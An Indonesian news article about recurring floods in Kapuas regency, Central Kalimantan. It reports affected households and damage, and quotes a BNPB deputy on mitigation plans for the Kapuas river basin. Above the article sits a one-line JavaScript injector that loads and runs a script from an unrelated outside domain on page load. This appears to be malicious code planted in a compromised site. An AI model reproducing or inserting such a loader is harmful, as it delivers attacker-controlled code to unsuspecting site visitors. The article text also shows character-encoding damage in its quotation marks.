(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Banjir Berulang di Kapuas, BNPB Evaluasi Mitigasi Bencana DAS Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS – Bencana banjir merendam 16 desa di dua kecamatan Kabupaten Kapuas yaitu Kecamatan Kapuas Tengah dan Kecamatan Timpah.

Dengan warga terdampak 5.424 kepala keluarga dengan 16.508 jiwa, rumah terendam 4.223 unit, rumah ibadah 35 unit, sarana pendidikan 42 unit, sarana kesehatan 11 unit, fasiltas umum 38 unit.

Akses jalan yang terendam ada 70 titik dan tidak ada korban jiwa.

Deputi Penanganan Darurat Badan Nasional Penanggulangan Bencana (BNPB) Mayjen TNI Fajar Setyawan saat ikut melepas bantuan logistik untuk warga terdampak banjir di Kabupaten Kapuas mengatakan, kedatangan pihaknya ditugaskan juga mendata dampak lain non manusia terkait banjir.

“Yang akan dievaluasi khususnya untuk dilaksanakan mitigasi di kemudian hari. Karena kita ketahui bersama bencana di Kabupaten Kapuas tidak sekali, tapi berulang-ulang, artinya itu merupakan langganan. Boleh langganan, tapi dampaknya semakin tahun semakin kecil baik dampak kepada manusia maupun kepada infrastruktur dan permukiman masyarakat,â€ kata Mayjen TNI Fajar Setyawan.

Mitigasi seperti apa, lanjut dia memang butuh waktu dan kajian kompherensif. Di pemerintah pusat itu ada BNPB, KLHK, Kementerian PUPR, BRIN, lembaga yang lain dan juga Pemprov serta Pemkab.

â€œIntinya bencana tiap tahun harus bisa direduksi secara pelan, tetapi tidak bisa langsung masif karena juga butuh proses dan anggaran,â€ ucapnya.

Selain itu, lanjut dia tujuan aalah satu pihaknya datang ke Kabupaten Kapuas adalah koordinasi dengan provinsi yang nantinya bagaimana konsep untuk bisa menormalisasi DAS Kapuas.

â€œWalaupun itu juga butuh waktu dan proses karena juga membutuhkan anggaran yang tidak sedikit. Seperti apa nantinya kita akan usul pada rapat di Jakarta dengan pemerintah pusat, sehingga nanti akan ada pembagian kewenangan siapa yang akan melaksanakan,” pungkasnya. (Kanalkalimantan.com/ags)

Reporter : ags
Editor : kk